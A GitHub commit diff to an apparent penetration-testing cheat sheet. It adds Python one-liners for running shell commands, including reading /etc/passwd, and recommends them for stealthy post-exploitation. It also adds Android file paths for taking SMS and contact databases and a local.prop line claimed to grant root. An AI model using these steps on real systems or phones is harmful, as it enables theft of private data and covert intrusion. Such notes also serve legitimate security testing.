Skip to content

Commit f55af99

Browse files
committed
Android/Python
1 parent ba02596 commit f55af99

File tree

2 files changed

+46
-1
lines changed

2 files changed

+46
-1
lines changed

scripting/python.md

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -18,3 +18,15 @@ python -c 'import pty; pty.spawn("/bin/bash")'```
1818
***Print all ASCII characters***
1919
```python
2020
python -c 'import string; print string.printable'```
21+
22+
**Run OS commands through Python Interpreter**
23+
```python
24+
python -c 'import os; os.system("command here")'```
25+
26+
example:
27+
28+
```
29+
python -c 'import os; os.system("cat /etc/passwd")'```
30+
31+
Remember that the python console does not log code by default, so you can run all post-exploit shenanigans through the python console for added stealth.
32+
Also gets by certain environmental restrictions.

tech/mobile/android.md

Lines changed: 34 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,3 +1,36 @@
1-
# Place Holder
1+
# Android
2+
3+
##Files to grab
4+
5+
###Text Messages (Needs Root):
6+
7+
```
8+
/data/data/com.android.providers/telephony/databases/mmssms.db
9+
/data/data/com.android.providers.telephony/databases/mmssms.db
10+
```
11+
12+
###Contacts (Needs Root):
13+
14+
```
15+
/data/data/android.providers.contacts/databases
16+
```
17+
18+
###Local System Settings:
19+
20+
```
21+
/data/local.prop
22+
```
23+
24+
If you can write to this file the following line will grant root:
25+
26+
```
27+
echo "ro.kernel.qemu=1" > /data/local.prop
28+
```
29+
30+
###Device Settings:
31+
32+
```
33+
/system/build.prop
34+
```
235

336
Content coming. Feel free to submit ;-)

0 commit comments

Comments
 (0)